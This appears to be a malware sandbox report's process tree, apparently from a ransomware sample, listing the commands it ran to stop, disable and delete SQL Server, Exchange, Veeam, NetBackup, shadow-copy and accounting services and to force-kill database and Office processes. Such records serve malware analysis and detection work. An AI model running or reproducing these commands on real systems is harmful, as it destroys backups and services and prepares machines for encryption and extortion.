C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MsDtsServer100"
5⤵
PID:2844

C:\Windows\SysWOW64\net.exe
net stop "ReportServer"
4⤵
PID:1928

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "ReportServer"
5⤵
PID:2140

C:\Windows\SysWOW64\net.exe
net stop "SQLTELEMETRY$HL"
4⤵
PID:1968

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SQLTELEMETRY$HL"
5⤵
PID:2804

C:\Windows\SysWOW64\net.exe
net stop "TMBMServer"
4⤵
PID:2792

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "TMBMServer"
5⤵
PID:1152

C:\Windows\SysWOW64\net.exe
net stop "MSSQL$PROGID"
4⤵
PID:2804

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSSQL$PROGID"
5⤵
PID:2568

C:\Windows\SysWOW64\net.exe
net stop "MSSQL$WOLTERSKLUWER"
4⤵
PID:428

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSSQL$WOLTERSKLUWER"
5⤵
PID:2968

C:\Windows\SysWOW64\net.exe
net stop "SQLAgent$PROGID"
4⤵
PID:2136

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SQLAgent$PROGID"
5⤵
PID:2956

C:\Windows\SysWOW64\net.exe
net stop "SQLAgent$WOLTERSKLUWER"
4⤵
PID:2784

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SQLAgent$WOLTERSKLUWER"
5⤵
PID:668

C:\Windows\SysWOW64\net.exe
net stop "MSSQLFDLauncher$OPTIMA"
4⤵
PID:2000

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSSQLFDLauncher$OPTIMA"
5⤵
PID:2316

C:\Windows\SysWOW64\net.exe
net stop "MSSQL$OPTIMA"
4⤵
PID:2324

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSSQL$OPTIMA"
5⤵
PID:1824

C:\Windows\SysWOW64\net.exe
net stop "SQLAgent$OPTIMA"
4⤵
PID:2248

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SQLAgent$OPTIMA"
5⤵
PID:2764

C:\Windows\SysWOW64\net.exe
net stop "ReportServer$OPTIMA"
4⤵
PID:2432

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "ReportServer$OPTIMA"
5⤵
PID:1912

C:\Windows\SysWOW64\net.exe
net stop "msftesql$SQLEXPRESS"
4⤵
PID:540

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "msftesql$SQLEXPRESS"
5⤵
PID:1640

C:\Windows\SysWOW64\net.exe
net stop "postgresql-x64-9.4"
4⤵
PID:1480

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "postgresql-x64-9.4"
5⤵
PID:2800

C:\Windows\SysWOW64\sc.exe
sc config "MSSQLFDLauncher" start= disabled
4⤵
PID:2460

C:\Windows\SysWOW64\sc.exe
sc config "SQLSERVERAGENT" start= disabled
4⤵
PID:1888

C:\Windows\SysWOW64\sc.exe
sc config "SQLBrowser" start= disabled
4⤵
PID:972

C:\Windows\SysWOW64\sc.exe
sc config "SQLTELEMETRY" start= disabled
4⤵
PID:2848

C:\Windows\SysWOW64\sc.exe
sc config "MsDtsServer130" start= disabled
4⤵
PID:2792

C:\Windows\SysWOW64\sc.exe
sc config "SSISTELEMETRY130" start= disabled
4⤵
PID:2808

C:\Windows\SysWOW64\sc.exe
sc config "MSSQL$WOLTERSKLUWER" start= disabled
4⤵
PID:1928

C:\Windows\SysWOW64\sc.exe
sc config "SQLAgent$PROGID" start= disabled
4⤵
PID:1340

C:\Windows\SysWOW64\cmd.exe
cmd /c "color b & taskkill /F /IM U8WorkerService.exe & taskkill /F /IM UFIDA.U8.ECE.UTU.Services.exe & taskkill /F /IM UFIDA.U8.UAP.ReportService.exe & taskkill /F /IM U8AllAuthServer.exe & taskkill /F /IM U8WebPool.exe & taskkill /F /IM U8TaskService.exe & taskkill /F /IM UFIDA.U8.Report.SLReportService.exe & taskkill /F /IM U8SCMPool.exe & taskkill /F /IM U8DispatchService.exe"
3⤵
- Suspicious use of WriteProcessMemory
PID:2032

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM U8WorkerService.exe
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1540

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM UFIDA.U8.ECE.UTU.Services.exe
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:3048

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM UFIDA.U8.UAP.ReportService.exe
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1244

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM U8AllAuthServer.exe
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2812

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM U8WebPool.exe
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2120

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM U8TaskService.exe
4⤵
PID:2352

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM UFIDA.U8.Report.SLReportService.exe
4⤵
PID:2324

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM U8SCMPool.exe
4⤵
PID:2128

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM U8DispatchService.exe
4⤵
PID:1984

C:\Windows\SysWOW64\cmd.exe
cmd /c "color b & a & sc config "SQLWriter" start= disabled & sc config "MSSQL$VEEAMSQL2012" start= disabled & sc config "SQLAgent$VEEAMSQL2012" start= disabled & sc config "MSSQL" start= disabled & sc config "SQLAgent" start= disabled & sc config "MSSQLServerADHelper100" start= disabled & sc config "MSSQLServerOLAPService" start= disabled & sc config "MsDtsServer100" start= disabled & sc config "ReportServer" start= disabled & sc config "SQLTELEMETRY$HL" start= disabled & sc config "TMBMServer" start= disabled & sc config "MSSQL$PROGID" start= disabled"
3⤵
- Suspicious use of WriteProcessMemory
PID:632

C:\Windows\SysWOW64\sc.exe
sc config "SQLWriter" start= disabled
4⤵
PID:1108

C:\Windows\SysWOW64\sc.exe
sc config "SQLAgent$VEEAMSQL2012" start= disabled
4⤵
PID:604

C:\Windows\SysWOW64\sc.exe
sc config "MSSQL$VEEAMSQL2012" start= disabled
4⤵
PID:1740

C:\Windows\SysWOW64\sc.exe
sc config "SQLAgent" start= disabled
4⤵
PID:1692

C:\Windows\SysWOW64\sc.exe
sc config "MSSQL" start= disabled
4⤵
PID:1244

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SQLAgent$SHOPCONTROL9"
5⤵
PID:2228

C:\Windows\SysWOW64\sc.exe
sc config "MSSQLServerADHelper100" start= disabled
4⤵
PID:2092

C:\Windows\SysWOW64\sc.exe
sc config "MSSQLServerOLAPService" start= disabled
4⤵
PID:2292

C:\Windows\SysWOW64\sc.exe
sc config "MsDtsServer100" start= disabled
4⤵
PID:3012

C:\Windows\SysWOW64\sc.exe
sc config "ReportServer" start= disabled
4⤵
PID:2812

C:\Windows\SysWOW64\sc.exe
sc config "SQLTELEMETRY$HL" start= disabled
4⤵
PID:2952

C:\Windows\SysWOW64\sc.exe
sc config "TMBMServer" start= disabled
4⤵
PID:1588

C:\Windows\SysWOW64\sc.exe
sc config "MSSQL$PROGID" start= disabled
4⤵
PID:2000

C:\Windows\SysWOW64\cmd.exe
cmd /c "color b & sc config MSSQLSERVER start=disabled & sc config "SQL Server (MSSQLSERVER)" start=disabled & net stop MSSQL$ & sc config MSSQL$ start=disabled & net stop SQLSERVERAGENT & sc config SQLSERVERAGENT start=disabled & net stop SQLBrowser & sc config SQLBrowser start=disabled & net stop vss & sc config vss start=disabled & net stop SQLWriter & sc config SQLWriter start=disabled & net stop vmvss & sc config vmvss start=disabled & sc config MSSQL$FE_EXPRESS start= disabled & net stop MSSQL$RE_EXPRESS & net stop SQLANYs_Sage_FAS_Fixed_Assets & sc config SQLANYs_Sage_FAS_Fixed_Assets start=disabled & net stop MSSQL$VIM_SQLEXP & sc config MSSQL$VIM_SQLEXP start=disabled & net stop "MSSQLFDLauncher" & net stop "MSSQLSERVER""
3⤵
- Suspicious use of WriteProcessMemory
PID:1212

C:\Windows\SysWOW64\sc.exe
sc config MSSQLSERVER start=disabled
4⤵
PID:2016

C:\Windows\SysWOW64\sc.exe
sc config "SQL Server (MSSQLSERVER)" start=disabled
4⤵
PID:1604

C:\Windows\SysWOW64\net.exe
net stop MSSQL$
4⤵
PID:1588

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL$
5⤵
PID:1560

C:\Windows\SysWOW64\sc.exe
sc config MSSQL$ start=disabled
4⤵
PID:2172

C:\Windows\SysWOW64\net.exe
net stop SQLSERVERAGENT
4⤵
PID:2356

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLSERVERAGENT
5⤵
PID:2528

C:\Windows\SysWOW64\net.exe
net stop SQLBrowser
4⤵
PID:2952

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLBrowser
5⤵
PID:2968

C:\Windows\SysWOW64\sc.exe
sc config SQLSERVERAGENT start=disabled
4⤵
PID:2836

C:\Windows\SysWOW64\net.exe
net stop vss
4⤵
PID:1712

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop vss
5⤵
PID:2076

C:\Windows\SysWOW64\sc.exe
sc config SQLBrowser start=disabled
4⤵
PID:3000

C:\Windows\SysWOW64\sc.exe
sc config vss start=disabled
4⤵
PID:1540

C:\Windows\SysWOW64\net.exe
net stop SQLWriter
4⤵
PID:2940

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLWriter
5⤵
PID:2076

C:\Windows\SysWOW64\sc.exe
sc config SQLWriter start=disabled
4⤵
PID:2120

C:\Windows\SysWOW64\net.exe
net stop vmvss
4⤵
PID:2052

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop vmvss
5⤵
PID:2844

C:\Windows\SysWOW64\sc.exe
sc config vmvss start=disabled
4⤵
PID:2640

C:\Windows\SysWOW64\sc.exe
sc config MSSQL$FE_EXPRESS start= disabled
4⤵
PID:2332

C:\Windows\SysWOW64\net.exe
net stop MSSQL$RE_EXPRESS
4⤵
PID:784

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL$RE_EXPRESS
5⤵
PID:2836

C:\Windows\SysWOW64\net.exe
net stop SQLANYs_Sage_FAS_Fixed_Assets
4⤵
PID:2120

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLANYs_Sage_FAS_Fixed_Assets
5⤵
PID:2720

C:\Windows\SysWOW64\sc.exe
sc config SQLANYs_Sage_FAS_Fixed_Assets start=disabled
4⤵
PID:2148

C:\Windows\SysWOW64\net.exe
net stop MSSQL$VIM_SQLEXP
4⤵
PID:2848

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL$VIM_SQLEXP
5⤵
PID:2652

C:\Windows\SysWOW64\sc.exe
sc config MSSQL$VIM_SQLEXP start=disabled
4⤵
PID:2876

C:\Windows\SysWOW64\net.exe
net stop "MSSQLFDLauncher"
4⤵
PID:2316

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSSQLFDLauncher"
5⤵
PID:1796

C:\Windows\SysWOW64\net.exe
net stop "MSSQLSERVER"
4⤵
PID:2180

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSSQLSERVER"
5⤵
PID:980

C:\Windows\SysWOW64\cmd.exe
cmd /c "color b & a & net stop "MSOLAP$SHOPCONTROL9" & net stop "MSSQL$SHOPCONTROL9" & net stop "MSSQLFDLauncher$SHOPCONTROL9" & net stop "ReportServer$SHOPCONTROL9" & net stop "SQLAgent$SHOPCONTROL9" & net stop "NetBackup Client Service" & net stop "NetBackup Discovery Framework" & net stop "NetBackup Legacy Client Service" & net stop "NetBackup Legacy Network Service" & net stop "NetBackup Proxy Service" & net stop "NetBackup SAN Client Fibre Transport Service" & taskkill /IM mysqld-nt.exe /F & taskkill /IM NFVPrint.exe /F & taskkill /IM licenceserver.exe /F & taskkill /IM Launchpad.exe /F & taskkill /F /IM "FileZilla Server.exe" & taskkill /F /IM cbService.exe & taskkill /F /IM cbInterface.exe & taskkill /F /IM pvxwin32.exe & taskkill /F /IM pvxwin64.exe & taskkill /F /IM pvxcom.exe & taskkill /F /IM pvxiosvr.exe & taskkill /F /IM Sage.NA.AT_AU.SysTray.exe & taskkill /F /IM Sage.NA.AT_AU.Service.exe"
3⤵
PID:1920

C:\Windows\SysWOW64\net.exe
net stop "MSOLAP$SHOPCONTROL9"
4⤵
PID:1560

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSOLAP$SHOPCONTROL9"
5⤵
PID:1208

C:\Windows\SysWOW64\net.exe
net stop "MSSQL$SHOPCONTROL9"
4⤵
PID:1512

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSSQL$SHOPCONTROL9"
5⤵
PID:2076

C:\Windows\SysWOW64\net.exe
net stop "MSSQLFDLauncher$SHOPCONTROL9"
4⤵
PID:2448

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSSQLFDLauncher$SHOPCONTROL9"
5⤵
PID:2552

C:\Windows\SysWOW64\net.exe
net stop "ReportServer$SHOPCONTROL9"
4⤵
PID:2844

C:\Windows\SysWOW64\net.exe
net stop "SQLAgent$SHOPCONTROL9"
4⤵
PID:1244

C:\Windows\SysWOW64\net.exe
net stop "NetBackup Client Service"
4⤵
PID:2884

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "NetBackup Client Service"
5⤵
PID:2780

C:\Windows\SysWOW64\net.exe
net stop "NetBackup Discovery Framework"
4⤵
PID:2720

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "NetBackup Discovery Framework"
5⤵
PID:1656

C:\Windows\SysWOW64\net.exe
net stop "NetBackup Legacy Client Service"
4⤵
PID:3008

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "NetBackup Legacy Client Service"
5⤵
PID:2852

C:\Windows\SysWOW64\net.exe
net stop "NetBackup Legacy Network Service"
4⤵
PID:2816

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "NetBackup Legacy Network Service"
5⤵
PID:2436

C:\Windows\SysWOW64\net.exe
net stop "NetBackup Proxy Service"
4⤵
PID:2952

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "NetBackup Proxy Service"
5⤵
PID:2324

C:\Windows\SysWOW64\net.exe
net stop "NetBackup SAN Client Fibre Transport Service"
4⤵
PID:2760

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "NetBackup SAN Client Fibre Transport Service"
5⤵
PID:1540

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM mysqld-nt.exe /F
4⤵
PID:2480

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM NFVPrint.exe /F
4⤵
PID:1152

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM licenceserver.exe /F
4⤵
PID:1656

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM Launchpad.exe /F
4⤵
PID:2252

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM "FileZilla Server.exe"
4⤵
PID:3064

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM cbService.exe
4⤵
PID:1504

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM cbInterface.exe
4⤵
PID:2996

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM pvxwin32.exe
4⤵
PID:2104

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM pvxwin64.exe
4⤵
PID:2428

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM pvxcom.exe
4⤵
- Kills process with taskkill
PID:2460

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM pvxiosvr.exe
4⤵
PID:2232

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM Sage.NA.AT_AU.SysTray.exe
4⤵
PID:1212

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM Sage.NA.AT_AU.Service.exe
4⤵
PID:2796

C:\Windows\SysWOW64\cmd.exe
cmd /c "color b & a & taskkill /F /IM Veeam.Backup.Agent.ConfigurationService.exe & taskkill /F /IM Veeam.Backup.BrokerService.exe & taskkill /F /IM Veeam.Backup.CatalogDataService.exe & taskkill /F /IM Veeam.Backup.CloudService.exe & taskkill /F /IM Veeam.Backup.Manager.exe & taskkill /F /IM Veeam.Backup.MountService.exe & taskkill /F /IM Veeam.Backup.Service.exe & taskkill /F /IM Veeam.Backup.WmiServer.exe & taskkill /F /IM Veeam.Guest.Interaction.Proxy.exe & taskkill /F /IM VeeamDeploymentSvc.exe & taskkill /F /IM VeeamNFSSvc.exe & taskkill /F /IM VeeamTransportSvc.exe & taskkill /F /IM sqlbrowser.exe & taskkill /F /IM sqlceip.exe & taskkill /F /IM sqlservr.exe & taskkill /F /IM sqlwriter.exe & taskkill /F /IM sqlagentc.exe & taskkill /F /IM ReportingServicesService.exe & taskkill /F /IM Ssms.exe & taskkill /F /IM fdhost.exe & taskkill /F /IM fdlauncher.exe & taskkill /F /IM MsDtsSrvr.exe & taskkill /F /IM msmdsrv.exe & taskkill /F /IM mysql.exe & taskkill /F /IM mysqld.exe & taskkill /F /IM w3wp.exe & taskkill /F /IM wsusservice.exe & taskkill /F /IM SageCSClient.exe & taskkill /F /IM UFSoft.U8.OC.QuartzScheduler.exe & taskkill /F /IM Launchpad.exe & taskkill /F /IM dbsrv12.exe & taskkill /F /IM EXCEL.EXE & taskkill /F /IM OUTLOOK.EXE & taskkill /F /IM WINWORD.EXE & taskkill /F /IM OneDrive.exe & taskkill /F /IM TaskService.exe"
3⤵
PID:1748

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM Veeam.Backup.Agent.ConfigurationService.exe
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2000

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM Veeam.Backup.BrokerService.exe
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2888

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM Veeam.Backup.CatalogDataService.exe
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2868

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM Veeam.Backup.CloudService.exe
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2388

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM Veeam.Backup.Manager.exe
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1636

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM Veeam.Backup.MountService.exe
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2436

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM Veeam.Backup.Service.exe
4⤵
PID:2016

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM Veeam.Backup.WmiServer.exe
4⤵
- Kills process with taskkill
PID:2912

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM Veeam.Guest.Interaction.Proxy.exe
4⤵
PID:2316

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM VeeamDeploymentSvc.exe
4⤵
- Kills process with taskkill
PID:1784

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM VeeamNFSSvc.exe
4⤵
PID:1628

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM VeeamTransportSvc.exe
4⤵
PID:2956

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM sqlbrowser.exe
4⤵
PID:916

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM sqlceip.exe
4⤵
PID:2200

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM sqlservr.exe
4⤵
PID:1984

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM sqlwriter.exe
4⤵
PID:2848

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM sqlagentc.exe
4⤵
PID:2704

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM ReportingServicesService.exe
4⤵
PID:2836

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM Ssms.exe
4⤵
- Kills process with taskkill
PID:2460

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM fdhost.exe
4⤵
PID:2980

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM fdlauncher.exe
4⤵
PID:520

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM MsDtsSrvr.exe
4⤵
PID:2272

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM msmdsrv.exe
4⤵
PID:2228

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM mysql.exe
4⤵
PID:2252

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM mysqld.exe
4⤵
PID:2016

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM w3wp.exe
4⤵
PID:2204

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM wsusservice.exe
4⤵
- Kills process with taskkill
PID:276

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM SageCSClient.exe
4⤵
PID:428

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM UFSoft.U8.OC.QuartzScheduler.exe
4⤵
PID:2808

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM Launchpad.exe
4⤵
PID:2964

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM dbsrv12.exe
4⤵
PID:2976

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM EXCEL.EXE
4⤵
PID:3000

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM OUTLOOK.EXE
4⤵
PID:1984

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM WINWORD.EXE
4⤵
PID:2008

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM OneDrive.exe
4⤵
- Kills process with taskkill
PID:2704

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM TaskService.exe
4⤵
PID:968

C:\Windows\SysWOW64\cmd.exe
cmd /c "color b & a & @taskkill /IM Tomcat7w.exe /F & @taskkill /IM "UFSoft.U8.OC.QuartzScheduler.exe" /F & @taskkill /IM UFSoft.U8.OC.QuartzScheduler.exe /F & @taskkill /IM Launchpad.exe /F & @taskkill /IM mpdwsvc.exe /F & @taskkill /IM cbVSCService11.exe /F & @taskkill /IM cbService.exe /F & @sc delete CobianBackup11 & @sc delete cbVSCService11 & @taskkill /IM mysqld-nt.exe /F & @taskkill /IM "Kingdee.K3.CRM.MMC.AutoService.exe" /F & @taskkill /IM sqlceip.exe /F & @taskkill /IM "Microsoft.SqlServer.IntegrationServices.MasterServiceHost.exe" /F & taskkill /F /IM store.exe & taskkill /F /IM MSExchangeMailboxReplication.exe & taskkill /F /IM Microsoft.Exchange.ProtectedServiceHost.exe & taskkill /F /IM MSExchangeThrottling.exe & taskkill /F /IM EdgeTransport.exe & taskkill /F /IM MSExchangeTransportLogSearch.exe & taskkill /F /IM Microsoft.Exchange.RpcClientAccess.Service.exe & taskkill /F /IM Microsoft.Exchange.AddressBook.Service.exe & taskkill /F /IM DataCollectorSvc.exe & taskkill /F /IM Microsoft.Exchange.ServiceHost.exe & taskkill /F /IM Microsoft.Exchange.ContentFilter.Wrapper.exe & taskkill /F /IM MSExchangeMailboxAssistants.exe & taskkill /F /IM msexchangerepl.exe & taskkill /F /IM Microsoft.Exchange.Search.ExSearch.exe & taskkill /F /IM Microsoft.Exchange.EdgeSyncSvc.exe & taskkill /F /IM MsExchangeFDS.exe & taskkill /F /IM MSExchangeMailSubmission.exe & taskkill /F /IM MSExchangeTransport.exe & taskkill /F /IM Microsoft.Exchange.AntispamUpdateSvc.exe"
3⤵
PID:876

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM Tomcat7w.exe /F
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:668

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM "UFSoft.U8.OC.QuartzScheduler.exe" /F
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2984

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM UFSoft.U8.OC.QuartzScheduler.exe /F
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2968

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM Launchpad.exe /F
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2304

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM mpdwsvc.exe /F
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2984

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM cbVSCService11.exe /F
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2980

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM cbService.exe /F
4⤵
PID:796

C:\Windows\SysWOW64\sc.exe
sc delete CobianBackup11
4⤵
PID:2304

C:\Windows\SysWOW64\sc.exe
sc delete cbVSCService11
4⤵
PID:752

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM mysqld-nt.exe /F
4⤵
PID:2164

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM "Kingdee.K3.CRM.MMC.AutoService.exe" /F
4⤵
PID:1512

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM sqlceip.exe /F
4⤵
PID:2924

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM "Microsoft.SqlServer.IntegrationServices.MasterServiceHost.exe" /F
4⤵
PID:1784

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM store.exe
4⤵
PID:2008

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM MSExchangeMailboxReplication.exe
4⤵
PID:2844

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM Microsoft.Exchange.ProtectedServiceHost.exe
4⤵
PID:2308

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM MSExchangeThrottling.exe
4⤵
- Kills process with taskkill
PID:1912

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM EdgeTransport.exe
4⤵
PID:2388

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM MSExchangeTransportLogSearch.exe
4⤵
PID:2168

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM Microsoft.Exchange.RpcClientAccess.Service.exe
4⤵
PID:1984

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM Microsoft.Exchange.AddressBook.Service.exe
4⤵
PID:2132

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM DataCollectorSvc.exe
4⤵
PID:2140

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM Microsoft.Exchange.ServiceHost.exe
4⤵
PID:2352

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM Microsoft.Exchange.ContentFilter.Wrapper.exe
4⤵
PID:2432

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM MSExchangeMailboxAssistants.exe
4⤵
PID:1900

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM msexchangerepl.exe
4⤵
PID:2980

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM Microsoft.Exchange.Search.ExSearch.exe
4⤵
PID:3052

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM Microsoft.Exchange.EdgeSyncSvc.exe
4⤵
PID:1692

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM MsExchangeFDS.exe
4⤵
PID:3036

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM MSExchangeMailSubmission.exe
4⤵
PID:2180

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM MSExchangeTransport.exe
4⤵
PID:752

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM Microsoft.Exchange.AntispamUpdateSvc.exe
4⤵
PID:2248

C:\Windows\SysWOW64\cmd.exe
cmd /c "color b & a & @sc delete "XT800Service_Personal" & @sc delete SQLSERVERAGENT & @sc delete SQLWriter & @sc delete SQLBrowser & @sc delete MSSQLFDLauncher & @sc delete MSSQLSERVER & @sc delete QcSoftService & @sc delete MSSQLServerOLAPService & @sc delete VMTools & @sc delete VGAuthService & @sc delete MSDTC & @sc delete TeamViewer & @sc delete ReportServer & @sc delete RabbitMQ & @sc delete "AHS SERVICE" & @sc delete "Sense Shield Service" & @sc delete SSMonitorService & @sc delete SSSyncService & @sc delete TPlusStdAppService1300 & @sc delete MSSQL$SQL2008 & @sc delete SQLAgent$SQL2008 & @sc delete TPlusStdTaskService1300 & @sc delete TPlusStdUpgradeService1300 & @sc delete VirboxWebServer & @sc delete jhi_service & @sc delete LMS & @sc delete "FontCache3.0.0.0" & @sc delete "OSP Service""
3⤵
PID:1092

C:\Windows\SysWOW64\sc.exe
sc delete "XT800Service_Personal"
4⤵
PID:1028

C:\Windows\SysWOW64\sc.exe
sc delete SQLSERVERAGENT
4⤵
PID:2184

C:\Windows\SysWOW64\sc.exe
sc delete SQLWriter
4⤵
PID:2820

C:\Windows\SysWOW64\sc.exe
sc delete SQLBrowser
4⤵
PID:2052

C:\Windows\SysWOW64\sc.exe
sc delete MSSQLFDLauncher
4⤵
PID:2324

C:\Windows\SysWOW64\sc.exe
sc delete MSSQLSERVER
4⤵
PID:2428

C:\Windows\SysWOW64\sc.exe
sc delete QcSoftService
4⤵
PID:2728

C:\Windows\SysWOW64\sc.exe
sc delete MSSQLServerOLAPService
4⤵
PID:2480

C:\Windows\SysWOW64\sc.exe
sc delete VMTools
4⤵
PID:2808

C:\Windows\SysWOW64\sc.exe
sc delete VGAuthService
